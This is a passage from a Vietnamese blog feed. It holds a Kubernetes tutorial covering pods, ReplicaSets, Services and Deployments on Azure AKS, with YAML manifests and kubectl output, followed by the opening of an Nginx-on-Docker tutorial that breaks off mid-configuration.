nodes"></a>Worker nodes</h3><p>Các worker nodes là nơi chạy các ứng dụng containerized. Gồm những thành phần sau:</p><ol><li>kubelet</li><li>kube-proxy</li><li>Container runtime</li></ol><h3 id="Pods"><a href="#Pods" class="headerlink" title="Pods"></a>Pods</h3><p><img src="https://github.com/rayinaw/rayinaw.github.io/assets/108481122/bdab1003-34f4-4964-b285-4c33e604d43c" alt="image"></p><p>Trong Docker, các container là đơn vị nhỏ nhất để triển khai. Tuy nhiên, Kubernetes đưa ra một đơn vị mới là Pod làm đơn vị nhỏ nhất. </p><p>Pod là một tập hợp các containers, chúng chia sẻ một không gian mạng và bộ nhớ. Điều này giúp dễ quản lý các containers hơn.</p><p>Mỗi Pod sẽ có một địa chỉ ip riêng.</p><p>Ví dụ một Pod sẽ bao gồm 2 containers:</p><ul><li>Một server nginx chạy trên port 80</li><li>Một server backend nodejs chạy trên port 3000</li></ul><p>Pod sẽ được mô tả bằng một tệp YAML, và khi triển khai lên Kubernetes, nó sẽ tạo ra một Pod ví dụ như sau:</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Pod</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">my-app</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">containers:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">nginx</span></span><br><span class="line">    <span class="attr">image:</span> <span class="string">nginx</span></span><br><span class="line">    <span class="attr">ports:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">containerPort:</span> <span class="number">80</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">backend</span></span><br><span class="line">    <span class="attr">image:</span> <span class="string">web-backend-image:latest</span></span><br><span class="line">    <span class="attr">ports:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">containerPort:</span> <span class="number">3000</span></span><br></pre></td></tr></table></figure><p>Đặt tên file trên và chạy lệnh <code>kubectl apply -f your-file.yaml</code> là ta có thể triển khai một Pod trên kubernetes.</p><h2 id="Nhung-thanh-phan-va-khai-niem-co-ban"><a href="#Nhung-thanh-phan-va-khai-niem-co-ban" class="headerlink" title="Những thành phần và khái niệm cơ bản"></a>Những thành phần và khái niệm cơ bản</h2><h3 id="Basic-concepts"><a href="#Basic-concepts" class="headerlink" title="Basic concepts"></a>Basic concepts</h3><ul><li>ReplicaSet: Được định nghĩa khi khai báo kind của app, được sử dụng để quản lý và đảm bảo số lượng bản sao (replicas) của Pod. Giúp đảm bảo tính sẵn sàng nếu một trong những bản sao bị lỗi.</li></ul><p>Ví dụ ta có một server nginx. Để đảm bảo tính sẵn sàng và dự phòng cho trường hợp lỗi, ta khai báo ReplicaSet với số lượng replicas là 3 như sau:</p><figure class="highlight yml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">apps/v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">ReplicaSet</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">my-replicaset</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">replicas:</span> <span class="number">3</span></span><br><span class="line">  <span class="attr">selector:</span></span><br><span class="line">    <span class="attr">matchLabels:</span></span><br><span class="line">      <span class="attr">app:</span> <span class="string">my-app</span></span><br><span class="line">  <span class="attr">template:</span></span><br><span class="line">    <span class="attr">metadata:</span></span><br><span class="line">      <span class="attr">labels:</span></span><br><span class="line">        <span class="attr">app:</span> <span class="string">my-app</span></span><br><span class="line">    <span class="attr">spec:</span></span><br><span class="line">      <span class="attr">containers:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">my-container</span></span><br><span class="line">        <span class="attr">image:</span> <span class="string">nginx:latest</span></span><br></pre></td></tr></table></figure><ul><li>Deployment: Có nhắc đến ở dưới phần demo.</li><li>Service: <ul><li>Định nghĩa cổng vào dịch vụ (service) và cung cấp một địa chỉ IP và cổng cho ứng dụng khác kết nối tới. </li><li>Nó sử dụng Label Selector để xác định các Pod cụ thể mà nó liên kết và cung cấp một cách thống nhất để truy cập các ứng dụng trên cụm Kubernetes.<br>Ví dụ ta có một ứng dụng web được triển khai trên Kubernetes bằng một số Pod, bây giờ ta muốn nó có thể được truy cập từ bên ngoài cụm Kubernetes, ta sẽ sử dụng service như sau:<figure class="highlight yml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Service</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">my-service</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">selector:</span></span><br><span class="line">    <span class="attr">app:</span> <span class="string">my-app</span></span><br><span class="line">  <span class="attr">ports:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">protocol:</span> <span class="string">TCP</span></span><br><span class="line">      <span class="attr">port:</span> <span class="number">80</span></span><br><span class="line">      <span class="attr">targetPort:</span> <span class="number">8080</span></span><br></pre></td></tr></table></figure></li></ul></li><li>metadata: Xác định tên của Service (ở đây là “my-service”).</li><li>selector: Sử dụng Label Selector để xác định những Pod nào sẽ thuộc về Service (ở đây là các Pod có label “app: my-app”).</li><li>ports: Xác định cổng ngoài (port) và cổng mục tiêu (targetPort) mà Service sẽ sử dụng để chuyển hướng truy cập.</li><li>Bây giờ, ta chỉ cần truy cập bằng ip của cluster <code>http://&lt;cluster-ip&gt;:80</code></li></ul><h2 id="Kubernetes-Control-Plane-Components"><a href="#Kubernetes-Control-Plane-Components" class="headerlink" title="Kubernetes Control Plane Components"></a>Kubernetes Control Plane Components</h2><h2 id="Tao-mot-ung-dung-don-gian-voi-kuberctl"><a href="#Tao-mot-ung-dung-don-gian-voi-kuberctl" class="headerlink" title="Tạo một ứng dụng đơn giản với kuberctl"></a>Tạo một ứng dụng đơn giản với kuberctl</h2><h3 id="Tao-mot-AKS-Cluster-voi-Azure-cloud-service"><a href="#Tao-mot-AKS-Cluster-voi-Azure-cloud-service" class="headerlink" title="Tạo một AKS Cluster với Azure cloud service"></a>Tạo một AKS Cluster với Azure cloud service</h3><p>Đầu tiên vào <code>https://portal.azure.com/</code> chọn loại Kubernetes service để tạo một AKS Cluster mới. Xem hướng dẫn thêm ở <a href="https://learn.microsoft.com/en-us/azure/aks/learn/quick-kubernetes-deploy-portal?tabs=azure-cli">đây</a>.</p><h3 id="Ket-noi-den-Cluster"><a href="#Ket-noi-den-Cluster" class="headerlink" title="Kết nối đến Cluster"></a>Kết nối đến Cluster</h3><p>Đầu tiên ta cần config <code>kubectl</code> kết nối đến <code>Kubernetes cluster</code>:</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">az aks <span class="built_in">get-credentials</span> <span class="literal">--resource-group</span> &lt;<span class="built_in">group-name</span>&gt; <span class="literal">--name</span> &lt;Cluster<span class="literal">-name</span>&gt;</span><br></pre></td></tr></table></figure><p>Sau khi chạy lệnh xong, ta sẽ nhận được kết quả: <code>Merged &quot;AKSCluster&quot; as current context in /home/azureuser/.kube/config</code></p><p>Chạy lệnh <code>kubectl get nodes</code> để xem trạng thái Cluster.</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">kubectl get nodes</span><br><span class="line">NAME                                STATUS   ROLES   AGE     VERSION</span><br><span class="line">aks<span class="literal">-agentpool-75533554-vmss000000</span>   Ready    agent   <span class="number">2</span>m29s   v1.<span class="number">25.6</span></span><br></pre></td></tr></table></figure><p>Vậy là Azure đã bắt đầu tính phí rồi :D, sử dụng xong nhớ xóa cluster vừa tạo nhé.</p><h2 id="Kubernetes-YAML-File"><a href="#Kubernetes-YAML-File" class="headerlink" title="Kubernetes YAML File"></a>Kubernetes YAML File</h2><p>Mọi Configuration file trong <code>Kubernetes</code> gồm 3 phần:</p><ul><li><code>Header</code>: gồm hai trường như sau:<ul><li><code>apiVersion</code>: Xác định phiên bản API của <code>Kubernetes</code>, thường là <code>v1</code>.</li><li><code>kind</code>: Xác định loại đối tượng mà file YAML định nghĩa.  <figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">kind:</span> <span class="string">Deployment</span> <span class="comment"># </span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Service</span> <span class="comment"># </span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Pod</span> <span class="comment"># đại diện cho một nhóm các container chạy trên cùng một node.</span></span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Pod</span></span><br></pre></td></tr></table></figure></li></ul></li><li><code>metadata</code>: chứa thông tin mô tả về dữ liệu, tài nguyên. Bao gồm các trường sau:<ul><li><code>name</code>: Tên của app</li><li><code>labels</code>:</li></ul></li><li><code>specification</code>:</li></ul><h3 id="Demo-cho-Kind-Deployment-Service-Pod"><a href="#Demo-cho-Kind-Deployment-Service-Pod" class="headerlink" title="Demo cho Kind Deployment, Service, Pod"></a>Demo cho Kind Deployment, Service, Pod</h3><h4 id="Pod"><a href="#Pod" class="headerlink" title="Pod"></a>Pod</h4><p>Thường ta sử dụng <code>kind: Pod</code> với những ứng dụng đơn lẻ, tác vụ đơn giản như nginx, Redis, các container ghi log,…</p><p>Ví dụ: Tạo file name <code>&lt;name&gt;.yaml</code> ví dụ <code>pod.yaml</code></p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Pod</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">my-app-pod</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">containers:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">my-app-container</span></span><br><span class="line">    <span class="attr">image:</span> <span class="string">nginx:latest</span></span><br><span class="line">    <span class="attr">ports:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">containerPort:</span> <span class="number">80</span></span><br></pre></td></tr></table></figure><p>Khởi chạy:</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">PS /home/azureuser/test&gt; kubectl apply -f pod.yaml</span><br><span class="line">pod/my-app-pod created</span><br><span class="line">PS /home/azureuser/test&gt; kubectl get pods</span><br><span class="line">NAME         READY   STATUS    RESTARTS   AGE</span><br><span class="line">my-app-pod   1/1     Running   0          2m5s</span><br><span class="line">PS /home/azureuser/test&gt; kubectl describe pod my-app-pod</span><br><span class="line"><span class="comment"># Thông tin pod</span></span><br></pre></td></tr></table></figure><p>Tương tác với container trong pod:</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">PS /home/azureuser/test&gt; kubectl <span class="built_in">exec</span> my-app-pod -c my-app-container -- nginx -v</span><br><span class="line">nginx version: nginx/1.25.1</span><br><span class="line"><span class="comment"># Kết quả trả về có nghĩa nginx container của ta đang chạy trong pod</span></span><br><span class="line"><span class="comment"># Hoặc tương tự ta có thể sử dụng Pseudo-TTY như docker</span></span><br><span class="line">PS /home/azureuser/test&gt; kubectl <span class="built_in">exec</span> -it my-app-pod -c my-app-container -- /bin/bash</span><br></pre></td></tr></table></figure><p><code>kubectl exec -h</code> để xem thêm những câu lệnh khác.</p><p>Xóa pod: <code>PS /home/azureuser/test&gt; kubectl delete pod my-app-pod</code></p><h4 id="Pod-template"><a href="#Pod-template" class="headerlink" title="Pod template"></a>Pod template</h4><p>Ở trên là ta chỉ build riêng pod. Nhưng với một số <code>Kind</code> khác như <code>Deployment</code>, <code>Job</code>, <code>DaemonSet</code> thì để setting cho pod, ta phải định nghĩa thêm Pod template.</p><p>Ví dụ:</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">batch/v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Job</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">hello</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">template:</span></span><br><span class="line">    <span class="comment"># This is the pod template</span></span><br><span class="line">    <span class="attr">spec:</span></span><br><span class="line">      <span class="attr">containers:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">hello</span></span><br><span class="line">        <span class="attr">image:</span> <span class="string">busybox:1.28</span></span><br><span class="line">        <span class="attr">command:</span> [<span class="string">&#x27;sh&#x27;</span>, <span class="string">&#x27;-c&#x27;</span>, <span class="string">&#x27;echo &quot;Hello, Kubernetes!&quot; &amp;&amp; sleep 3600&#x27;</span>]</span><br><span class="line">      <span class="attr">restartPolicy:</span> <span class="string">OnFailure</span></span><br><span class="line">    <span class="comment"># The pod template ends here</span></span><br></pre></td></tr></table></figure><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">PS /home/azureuser/test&gt; kubectl get <span class="built_in">jobs</span></span><br><span class="line">NAME    COMPLETIONS   DURATION   AGE</span><br><span class="line">hello   0/1           13s        13s</span><br><span class="line">PS /home/azureuser/test&gt; kubectl get pods</span><br><span class="line">NAME          READY   STATUS    RESTARTS   AGE</span><br><span class="line">hello-rh9xw   1/1     Running   0          30s</span><br><span class="line">my-app-pod    1/1     Running   0          129m</span><br><span class="line">PS /home/azureuser/test&gt; kubectl <span class="built_in">exec</span> hello-rh9xw -c hello -- <span class="built_in">echo</span> <span class="string">&quot;hello&quot;</span></span><br><span class="line">hello</span><br></pre></td></tr></table></figure><p>Xóa jobs: <code>PS /home/azureuser/test&gt; kubectl delete job hello</code></p><h4 id="Deployment"><a href="#Deployment" class="headerlink" title="Deployment"></a>Deployment</h4><p>Deployment là một tài nguyên trong Kubernetes để quản lý và duy trì một nhóm các Pod .</p><p>Với <code>kind: Pod</code> thì ta chỉ có thể chạy riêng lẻ từng ứng dụng. Nhưng nếu ta muốn tạo nhiều bản sao của Pod và đảm bảo duy trì các Pod, <code>kind: Deployment</code> sẽ giúp ta điều đó.</p><p>Số pod sẽ được định nghĩa ở trường <code>replicas</code> của <code>Deployment</code>.</p><p>Khi tạo một <code>Deployment</code>, bạn chỉ cần xác định mẫu <code>Pod</code> (Pod template) và các nhãn (labels) để <code>Deployment</code> theo dõi. <code>Deployment</code> sẽ sử dụng mẫu <code>Pod</code> để tạo và duy trì các bản sao của Pod.</p><p>Nếu một <code>Pod</code> không phản hồi, <code>Deployment</code> sẽ thay thế nó để đảm bảo số lượng <code>Pod</code>. Cũng như nếu vượt quá thì nó sẽ giảm số Pod.</p><blockquote><p>Lưu ý:<br>Nếu container bị lỗi, Pod vẫn được coi là hoạt động bình thường và không có thay đổi trong Deployment.</p></blockquote><p>Một ví dụ đơn giản:</p><figure class="highlight yml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">apps/v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Deployment</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">my-app-deployment</span></span><br><span class="line">  <span class="attr">labels:</span></span><br><span class="line">    <span class="attr">app:</span> <span class="string">nginx</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">replicas:</span> <span class="number">3</span></span><br><span class="line">  <span class="attr">selector:</span></span><br><span class="line">    <span class="attr">matchLabels:</span></span><br><span class="line">      <span class="attr">app:</span> <span class="string">my-app</span></span><br><span class="line">  <span class="attr">template:</span></span><br><span class="line">    <span class="attr">metadata:</span></span><br><span class="line">      <span class="attr">labels:</span></span><br><span class="line">        <span class="attr">app:</span> <span class="string">my-app</span></span><br><span class="line">    <span class="attr">spec:</span></span><br><span class="line">      <span class="attr">containers:</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">my-app-container</span></span><br><span class="line">          <span class="attr">image:</span> <span class="string">nginx:latest</span></span><br><span class="line">          <span class="attr">ports:</span></span><br><span class="line">            <span class="bullet">-</span> <span class="attr">containerPort:</span> <span class="number">80</span></span><br></pre></td></tr></table></figure><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">PS</span> /home/azureuser/test&gt;kubectl apply <span class="operator">-f</span> nginx<span class="literal">-deployment</span>.yaml</span><br><span class="line"><span class="built_in">PS</span> /home/azureuser/test&gt; kubectl get deployments</span><br><span class="line">NAME                READY   UP<span class="literal">-TO-DATE</span>   AVAILABLE   AGE</span><br><span class="line">my<span class="literal">-app-deployment</span>   <span class="number">3</span>/<span class="number">3</span>     <span class="number">3</span>            <span class="number">3</span>           <span class="number">17</span>s</span><br><span class="line"><span class="built_in">PS</span> /home/azureuser/test&gt; kubectl get pods</span><br><span class="line">NAME                                READY   STATUS    RESTARTS   AGE</span><br><span class="line">hello<span class="literal">-rh9xw</span>                         <span class="number">1</span>/<span class="number">1</span>     Running   <span class="number">0</span>          <span class="number">26</span>m</span><br><span class="line">my<span class="literal">-app-deployment-dc547ddd7-bxbhz</span>   <span class="number">1</span>/<span class="number">1</span>     Running   <span class="number">0</span>          <span class="number">23</span>s</span><br><span class="line">my<span class="literal">-app-deployment-dc547ddd7-cvrjx</span>   <span class="number">1</span>/<span class="number">1</span>     Running   <span class="number">0</span>          <span class="number">23</span>s</span><br><span class="line">my<span class="literal">-app-deployment-dc547ddd7-z9vtz</span>   <span class="number">1</span>/<span class="number">1</span>     Running   <span class="number">0</span>          <span class="number">23</span>s</span><br><span class="line">my<span class="literal">-app-pod</span>                          <span class="number">1</span>/<span class="number">1</span>     Running   <span class="number">0</span>          <span class="number">155</span>m</span><br></pre></td></tr></table></figure><p><code>my-app-deployment</code> đã được đưa lên Deployment, và nó tạo ra 3 pods khác nhau. Tuy nhiên các pods vẫn chưa <code>READY</code>.</p><p>Xem trạng thái của Deployment: <code>kubectl rollout status deployment/my-app-deployment</code></p><p>Bây giờ ta thử xóa một pod để xem Deployment làm gì:</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">PS /home/azureuser/test&gt; kubectl delete pod my-app-deployment-dc547ddd7-bxbhz --grace-period=0 --force</span><br><span class="line">Warning: Immediate deletion does not <span class="built_in">wait</span> <span class="keyword">for</span> confirmation that the running resource has been terminated. The resource may <span class="built_in">continue</span> to run on the cluster indefinitely.</span><br><span class="line">pod <span class="string">&quot;my-app-deployment-dc547ddd7-bxbhz&quot;</span> force deleted</span><br><span class="line">PS /home/azureuser/test&gt; kubectl get pods</span><br><span class="line">NAME                                READY   STATUS    RESTARTS   AGE</span><br><span class="line">my-app-deployment-dc547ddd7-bjblw   1/1     Running   0          10s</span><br><span class="line">my-app-deployment-dc547ddd7-cvrjx   1/1     Running   0          7m22s</span><br><span class="line">my-app-deployment-dc547ddd7-z9vtz   1/1     Running   0          7m22s</span><br></pre></td></tr></table></figure><p>Như kết quả ở trên, Deployment đã phát hiện pod bị xóa và ngay lập tức tái tạo lại pod.</p><p>Để xóa Deployment vừa tạo, ta dùng lệnh:</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">kubectl delete deployment my-app-deployment</span><br></pre></td></tr></table></figure><p>Kiểm tra Pod đang sử dụng:</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">kubectl get pods</span><br><span class="line">kubectl describe pod &lt;name-pod&gt;</span><br></pre></td></tr></table></figure><h2 id="Cau-lenh-co-ban"><a href="#Cau-lenh-co-ban" class="headerlink" title="Câu lệnh cơ bản"></a>Câu lệnh cơ bản</h2><p>Environment variable:<br><a href="https://kubernetes.io/docs/tasks/inject-data-application/define-environment-variable-container/#define-an-environment-variable-for-a-container">https://kubernetes.io/docs/tasks/inject-data-application/define-environment-variable-container/#define-an-environment-variable-for-a-container</a></p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">kuberctl create deployment &lt;name&gt; --image=&lt;name&gt;</span><br><span class="line">kubectl expose deployment &lt;name&gt; --<span class="built_in">type</span>=&lt;<span class="built_in">type</span>&gt; --port=8080</span><br></pre></td></tr></table></figure><p>Tham khảo:</p><ul><li><a href="https://www.freecodecamp.org/news/learn-kubernetes-in-under-3-hours-a-detailed-guide-to-orchestrating-containers-114ff420e882/">https://www.freecodecamp.org/news/learn-kubernetes-in-under-3-hours-a-detailed-guide-to-orchestrating-containers-114ff420e882/</a></li><li><a href="https://www.qikqiak.com/k8s-book/">https://www.qikqiak.com/k8s-book/</a></li></ul>]]></content:encoded>
      
      
      <category domain="https://rayinaw.github.io/categories/DevOps/">DevOps</category>
      
      <category domain="https://rayinaw.github.io/categories/DevOps/Docker/">Docker</category>
      
      
      <category domain="https://rayinaw.github.io/tags/Docker/">Docker</category>
      
      <category domain="https://rayinaw.github.io/tags/DevOps/">DevOps</category>
      
      
      <comments>https://rayinaw.github.io/2023/06/23/kubernetes-learning/#disqus_thread</comments>
      
    </item>
    
    <item>
      <title>Nginx Learning Journey</title>
      <link>https://rayinaw.github.io/2023/04/15/nginx-learning/</link>
      <guid>https://rayinaw.github.io/2023/04/15/nginx-learning/</guid>
      <pubDate>Sat, 15 Apr 2023 04:55:36 GMT</pubDate>
      
        
        
      <description>&lt;h2 id=&quot;Cau-hinh&quot;&gt;&lt;a href=&quot;#Cau-hinh&quot; class=&quot;headerlink&quot; title=&quot;Cấu hình&quot;&gt;&lt;/a&gt;Cấu hình&lt;/h2&gt;&lt;p&gt;Yêu cầu: &lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Sử dụng HDH linux, ở đâ</description>
        
      
      
      
      <content:encoded><![CDATA[<h2 id="Cau-hinh"><a href="#Cau-hinh" class="headerlink" title="Cấu hình"></a>Cấu hình</h2><p>Yêu cầu: </p><ul><li>Sử dụng HDH linux, ở đây mình dùng Ubuntu.</li><li>Cài đặt docker</li><li>Cài đặt node.js và npm</li></ul><h2 id="Docker-amp-nginx-co-ban"><a href="#Docker-amp-nginx-co-ban" class="headerlink" title="Docker &amp; nginx cơ bản"></a>Docker &amp; nginx cơ bản</h2><p>Để thuận tiện, ở đây mình xây dựng nginx trên docker. Bạn nào chưa biết dùng docker thì có thể xem bài viết cũ của mình ở <a href="https://rayinaw.github.io/2022/12/03/docker-learning/">đây</a>.</p><p>Cấu trúc file:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">├── docker-compose.yml</span><br><span class="line">└── reverse_proxy</span><br><span class="line">    └── nginx.conf</span><br></pre></td></tr></table></figure><p>Nội dung file <code>docker-compose.yml</code>:</p><ul><li>Nginx là một máy chủ web được cấu hình bằng tập tin <code>nginx.conf</code>, file cấu hình nginx thường được đặt trong <code>/etc/nginx/nginx.conf</code>. Cho nên chúng ta cần copy file <code>nginx.conf</code> vào <code>/etc/nginx/nginx.conf</code> ở volumes trong <code>docker-compose.yml</code> file.</li></ul><figure class="highlight yml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">version:</span> <span class="string">&#x27;3&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="attr">services:</span></span><br><span class="line">  <span class="attr">reverse-proxy:</span></span><br><span class="line">    <span class="attr">image:</span> <span class="string">nginx:1.23.4</span></span><br><span class="line">    <span class="attr">container_name:</span> <span class="string">reverse_proxy_demo</span></span><br><span class="line">    <span class="attr">volumes:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">./reverse_proxy/nginx.conf:/etc/nginx/nginx.conf</span></span><br><span class="line">    <span class="attr">ports:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="number">80</span><span class="string">:80</span></span><br></pre></td></tr></table></figure><p>Nội dung file <code>nginx.conf</code>:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line">user nginx;</span><br><span class="line">worker_processes auto;</span><br><span class="line"></span><br><span class="line">error_log /var/log/nginx/error.log notice;</span><br><span class="line">pid /var/run/nginx.pid;</span><br><span class="line"></span><br><span class="line">events &#123;</span><br><span class="line">    worker_connections 1024;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">http &#123;</span><br><span class="line">    include /etc/nginx/mime.types;</span><br><span class="line">    default_type application/octet-stream;</span><br><span class="line"></span><br><span class="line">    log_format main &#x27;$remote_addr - $remote_user [$time_local] &quot;$request&quot; &#x27;</span><br><span class="line">        &#x27;$status $body_bytes_sent &quot;$http_referer&quot; &#x27;</span><br><span class="line">        &#x27;&quot;$http_user_agent&quot; &quot;$http_x_forwarded_for&quot;&#x27;;</span><br><span class="line"></span><br><span class="line">    access_log /var/log/nginx/access.log main;</span><br><span class="line"></span><br><span class="line">    sendfile on;</span><br><span class="line">    keepalive_timeout 65;</span><br><span class="line">    # Ta chỉ cần tập trung vào cấu hình server này.</span><br><span class="line">    server &#123;</span><br><span class="line">        listen 80;</span><br><span class="line">        server_name 